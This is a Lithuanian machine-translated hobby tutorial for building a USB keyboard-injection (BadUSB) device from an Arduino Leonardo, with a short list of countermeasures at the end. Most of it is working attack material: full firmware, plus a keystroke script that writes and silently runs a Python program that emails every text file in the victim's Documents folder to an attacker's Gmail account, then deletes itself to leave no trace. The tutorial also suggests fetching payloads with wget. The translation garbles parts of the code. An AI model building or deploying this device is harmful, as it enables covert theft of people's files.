Turinys:

„Arduino“klaviatūros išnaudojimo demonstracija (HID) ir prevencija: 4 žingsniai (su paveikslėliais)
„Arduino“klaviatūros išnaudojimo demonstracija (HID) ir prevencija: 4 žingsniai (su paveikslėliais)

Video: „Arduino“klaviatūros išnaudojimo demonstracija (HID) ir prevencija: 4 žingsniai (su paveikslėliais)

Video: „Arduino“klaviatūros išnaudojimo demonstracija (HID) ir prevencija: 4 žingsniai (su paveikslėliais)
Video: Pašto peradresavimas 2024, Liepa
Anonim
Image
Image
Įrenginio kūrimas
Įrenginio kūrimas

Šiame projekte mes naudosime „arduino leonardo“, kad imituotume galimą USB ataką naudojant HID („humain“sąsajos įrenginį).

Aš sukūriau šią pamoką ne tam, kad padėtų įsilaužėliams, bet norėdamas parodyti jums tikrus pavojus ir kaip apsaugoti save nuo šių pavojų. Šis įrenginys nėra prietaisas, kurį galima naudoti bet kurioje programišių programišių platformoje, tai daugiau išsamios koncepcijos įrodymas.

Mes mokysimės šių dalykų:

- kaip naudoti „Arduino Leonardo“klaviatūrai imituoti

- kaip skaityti duomenis iš SD kortelių

- kaip sukurti „Python“scenarijų, kuris nuskaito failus ir siunčia jiems el

- kaip apsisaugoti nuo USB įsilaužimo įrenginių

1 žingsnis: medžiagos

Dalys:

1. Arduino leonardo

2. mikro USB kortelių skaitytuvas

3. kelių GB SD kortelė

4. mygtukas kaip šis (VCC, įžeminimas ir signalas)

5. moteriški-vyriški ir moteriški-moteriški trumpikliai

6. „micro USB“- USB kabelis

2 žingsnis: Įrenginio kūrimas

Įrenginio kūrimas
Įrenginio kūrimas

Prieš statybos instrukciją peržiūrėkime darbo principą:

„Arduino Leonardo“gali elgtis kaip žmogaus sąsajos įrenginys (HID), todėl gali imituoti pelę ir klaviatūrą. Mes naudosime šią funkciją norėdami atidaryti terminalą („UBUNTU Linux“) ir parašyti nedidelį scenarijų, kuris pateks į aplanką /Dokumentai vartotojo namų aplanke, nukopijuos.txt failus ten ir nusiųs juos kam nors. Jei norite sužinoti daugiau, patikrinkite kitą veiksmą.

Kadangi tai yra demonstracinis įrenginys, viskas yra labai paprasta, mes nieko nesiruošiame lituoti.

Statybos instrukcijos

Prieš pradėdami patikrinti pridėtus failus, pridedu „fritzing“schemas ir visus reikalingus failus

1. Surinkite komponentus:

* prijunkite mikro USB kabelį prie arduino

* Prijunkite raktinį jungiklį prie arduino (įžeminimo, vcc ir išvesties modulis prie D8)

* prijunkite kortelių skaitytuvą prie arduino (naudodami ICSP antraštę). „Arduino Leonardo“ICSP antraštė nėra prijungta prie skaitmeninių kaiščių, todėl turėsite prijungti kortelių skaitytuvą prie ICSP antraštės. Kai kuriuos ICSP brėžinius rasite čia: https://learn.sparkfun.com/tutorials/installing-an…. Prijunkite SS kaištį prie skaitmeninio kaiščio 10

2. Gaukite „arduino“kodą, galite klonuoti mano „arduino“saugyklą „github“: https://github.com/danionescu0/arduino ir eikite į projektus/keyboard_exploit arba gaukite jį iš apačios:

#include „Keyboard.h“

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Miegas::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int mygtukasPin = 8; const int chipSelect = 10; int previousButtonState = AUKŠTAS; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Klaviatūra.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kortelė nepavyko arba jos nėra!"); grįžti; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Įkeltas!"); vėlavimas (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Nurodyto failo pavadinimo nėra SD kortelėje, patikrinkite failo vardąOnCard!"); } Styginių linija; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (eilutė); sendToKeyboard (eilutė); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); grįžti; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Klaviatūra.println (eilutė); Paspausk Enter(); grįžti; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Styginių komanda = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (komanda! = "") {Serial.print ("Komanda rasta:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); uždelsimas (delayBetweenCommands); }} Keyboard.releaseAll (); uždelsimas (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); uždelsimas (sleepAmount); } char getCommandCode (eilutės tekstas) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kodas = textCharacters [0]; kodas = (tekstas == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kodas; kodas = (tekstas == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kodas; kodas = (tekstas == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kodas; kodas = (tekstas == "KEY_UP_ARROW")? KEY_UP_ARROW: kodas; kodas = (tekstas == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kodas; kodas = (tekstas == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kodas; kodas = (tekstas == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kodas; kodas = (tekstas == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kodas; kodas = (tekstas == "KEY_BACKSPACE")? KEY_BACKSPACE: kodas; kodas = (tekstas == "KEY_TAB")? KEY_TAB: kodas; kodas = (tekstas == "KEY_RETURN")? KEY_RETURN: kodas; kodas = (tekstas == "KEY_ESC")? KEY_ESC: kodas; kodas = (tekstas == "KEY_INSERT")? KEY_INSERT: kodas; kodas = (tekstas == "KEY_DELETE")? KEY_DELETE: kodas; kodas = (tekstas == "KEY_PAGE_UP")? KEY_PAGE_UP: kodas; kodas = (tekstas == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kodas; kodas = (tekstas == "KEY_HOME")? KEY_HOME: kodas; kodas = (tekstas == "KEY_END")? KEY_END: kodas; kodas = (tekstas == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kodas; kodas = (tekstas == "KEY_F1")? KEY_F1: kodas; kodas = (tekstas == "KEY_F2")? KEY_F2: kodas; kodas = (tekstas == "KEY_F3")? KEY_F3: kodas; kodas = (tekstas == "KEY_F4")? KEY_F4: kodas; kodas = (tekstas == "KEY_F5")? KEY_F5: kodas; kodas = (tekstas == "KEY_F6")? KEY_F6: kodas; kodas = (tekstas == "KEY_F7")? KEY_F7: kodas; kodas = (tekstas == "KEY_F8")? KEY_F8: kodas; kodas = (tekstas == "KEY_F9")? KEY_F9: kodas; kodas = (tekstas == "KEY_F10")? KEY_F10: kodas; kodas = (tekstas == "KEY_F11")? KEY_F1: kodas; kodas = (tekstas == "KEY_F12")? KEY_F2: kodas;

grąžinimo kodas;

}

3. Įkelkite kodą į arduino, būtinai pasirinkite 9600 baudų spartą, nuoseklųjį prievadą ir arduino Leonardo

4. Formatuokite SD kortelę naudodami FAT16 arba FAT32

5. Jei klonavote „github“repo iš viršaus, nukopijuokite kortelėje esantį failą „hack.txt“, jei ne failas, pateiktas žemiau:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Miego režimas:: 300 Komanda:: KEY_INSERT importuoti smtplib import global, os iš os.path importuoti išplėstuvą iš el. Pašto. MIMEMultipart importuoja MIMEMultipart iš el. Pašto. MIMEBase importuoja MIMEBase iš el. Pašto. „MIMEText“importuoja „MIMEText“iš el. Pašto. Naudojant „COMMASPACE“, formato data importuojama iš el. Pašto importavimo kodavimo priemonių

smtp_user = 'siuntėjo_gmail_adresas'

smtp_pass = 'sender_gmail_password' to_address = 'Receive_address' scan_documents_location = 'Dokumentai'

subject = body = 'Failai iš įsilaužusio kompiuterio'

header = 'Kam: {0} nIš: {1} nTema: {2} n'.format (į_adresas, smtp_user, subject)

def sendMail (į, temą, tekstą, failus = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Tema'] = tema msg.attach (MIMEText (tekstas)) failams failuose: part = MIMEBase ('programa', "oktetas-srautas") part.set_payload (atidaryti (failas, "rb"). Skaityti ()) Encoders.encode_base64 (dalis) dalis. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (failas)) msg.attach (dalis)

serveris = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Miego režimas:: 50 komandų:: KEY_ESC miego režimas:: 100: x miego režimas:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Miego režimas:: 400 komandų:: KEY_LEFT_ALT, KEY_F4

6. Redaguokite šias eilutes:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'gavėjo_adresas'

Ir pakeiskite savo el. Pašto adresais

7. Išimkite kortelę ir įdėkite ją į arduino kortelių skaitytuvą

3 žingsnis: kaip tai veikia išsamiai

Kaip veiks ataka:

1. Paspaudus mygtuką, Leonardo nuskaitys sd kortelę naudodami SD kortelių skaitytuvą. Kortelėje bus specialus failas su raktais ir klavišų kombinacija. Failo pavadinimas yra „hack.txt“.

Faile gali būti neapdorotas tekstas ir jis bus perduotas klaviatūrai tokia, kokia yra.

Taip pat jame gali būti specialių komandų, tokių kaip „Miegas::“ir „Komanda::“.

Tokia eilutė:

Miego režimas:: 200 reiškia 200 ms miegą

Tokia eilutė:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t reiškia, kad kairysis klavišas „Ctrl“paspaustas, kairysis „Alt“paspaustas, „t“ir viskas atleista

Visus specialius raktus galite patikrinti čia:

2. Leonardo skaitys eilutes po eilutės, aiškins komandas ir imituos klaviatūros klavišus. Faile „hack.txt“yra raktų derinys, kuris atlieka šiuos veiksmus („UBUNTU Linux“):

a. atidaro terminalą (CTRL + ALT + T)

b. atidaro „python“failą, skirtą kurti naudojant „vi“(rašo „vi hack.py“

c. viduje rašo python scenarijų, kuris renka visus teksto failus dokumentų namų aplanke ir siunčia juos nurodytu „Gmail“adresu

d. paleidžia failą fone („nohup python hack.py &“)

e. ištrina failą (rm -rf hack.py)

f. uždaro terminalą (ALT + F4)

Visa tai vyksta per kelias sekundes ir nepalieka pėdsakų.

Patobulinimai ir trikčių šalinimas

* Galbūt pastebėjote, kad atidaręs terminalą rašau „python“failą. geresnis būdas tai pasiekti bus ją kažkur priglobti ir atsisiųsti naudojant komandą „wget some_url“, tada pervardyti į hack.py

* Taip pat galime atsisiųsti arba paleisti paruoštą operaciją tikslinei operacinei sistemai

* Prie modulio galima pridėti „wifi“, o įsilaužimus galima įkelti per „WIFI“

* galite naudoti arduino micro (kuris yra daug mažesnis) ir į jį įterpti išnaudojimo kodą (kad jis būtų mažesnis)

Apribojimai

1. Kadangi imituojamas įrenginys (klaviatūra ir pelė) neturi jokio grįžtamojo ryšio, mes nežinome, kas nutiks po to, kai bus išleista komanda, o tai reiškia, kad turime naudoti uždelsimus. Pavyzdžiui, aš duodu komandą atidaryti terminalą, bet nežinau, kada jis iš tikrųjų bus atidarytas, todėl turiu nurodyti savavališką vėlavimą, kad įsitikinčiau, jog po to įvesti simboliai nebus prarasti.

2. Mes galime susidurti su leidimų problemomis, pavyzdžiui, neturėdami prieigos prie USB prievado ar leidimo ką nors įdiegti

3. Leonardo spausdinimo greitis nėra toks didelis

4. Veiks tik su tiksline operacine sistema (mūsų atveju UBUNTU linux)

Kitame žingsnyje bandysime rasti būdų, kaip išnaudoti šiuos apribojimus, kad mūsų kompiuteris nebūtų nulaužtas

4 žingsnis: atsakomosios priemonės

1. USB prievadų išjungimas

-„Windows“galite patikrinti šią mokymo programą:

2. Į baltąjį sąrašą įtraukti USB įrenginiai:

- „Windows“:

2. Užrakinkite kompiuterį, kai nesate toli

3. Neprisijunkite kaip root (norint ką nors įdiegti reikia slaptažodžių)

4. Nuolat atnaujinkite save (įjungti automatiniai atnaujinimai)

Rekomenduojamas: